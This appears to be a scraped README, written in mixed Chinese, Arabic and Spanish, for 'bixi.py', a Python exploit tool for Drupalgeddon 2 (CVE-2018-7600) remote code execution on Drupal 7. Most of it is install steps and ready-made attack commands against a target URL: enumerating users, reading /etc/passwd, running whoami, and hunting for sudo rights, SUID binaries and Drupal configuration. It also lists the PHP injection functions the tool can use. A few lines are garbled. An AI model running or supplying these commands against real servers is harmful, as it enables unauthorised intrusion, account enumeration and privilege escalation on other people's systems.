
针对 CVE-2018-7600 (Drupalgeddon 2) 的 Python 漏洞利用,可在 Drupal 7 上实现远程代码执行,支持多种注入方法以及针对 Linux 和 Windows 的预定义命令。
bixi.pybixi.py هو أداة استغلال للثغرة CVE‑2018‑7600 (Drupalgeddon 2) التي تؤثر على Drupal 7.
يتيح تنفيذ الأوامر عن بُعد (RCE) على خوادم Drupal الضعيفة عبر واجهة بديهية وأوامر محددة مسبقًا.
هذا البرنامج مخصص فقط للأغراض التعليمية والبحثية في بيئات خاضعة للتحكم.
"القوة العظيمة تأتي مع مسؤولية عظيمة"
system, , , )passthruexecshell_execgit clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| الأمر | الوصف |
|---|---|
| linux | معلومات النظام |
| users_linux | سرد المستخدمين |
| id | معلومات المستخدم/المجموعات |
| ls | سرد الملفات |
| ifconfig | معلومات الشبكة |
| find_flag | البحث عن flags |
| الأمر | الوصف |
|---|---|
| windows | معلومات النظام |
| net_user | سرد المستخدمين |
| whoami_win | معلومات مفصلة |
| ipconfig | الشبكة |
| netstat_win | الاتصالات |
| dir | سرد الدليل |
| الأمر | الوصف |
|---|---|
| sudo | التحقق من صلاحيات sudo |
| suid | البحث عن ثنائيات SUID |
| net_localgroup | المجموعات المحلية |
| drupal_config | البحث عن الإعدادات |
| drupal_version | الحصول على إصدار Drupal |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
تعديل القيمة الافتراضية (15 ثانية):
timeout=15
عدّل القاموس commands في get_command_for_keyword()
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/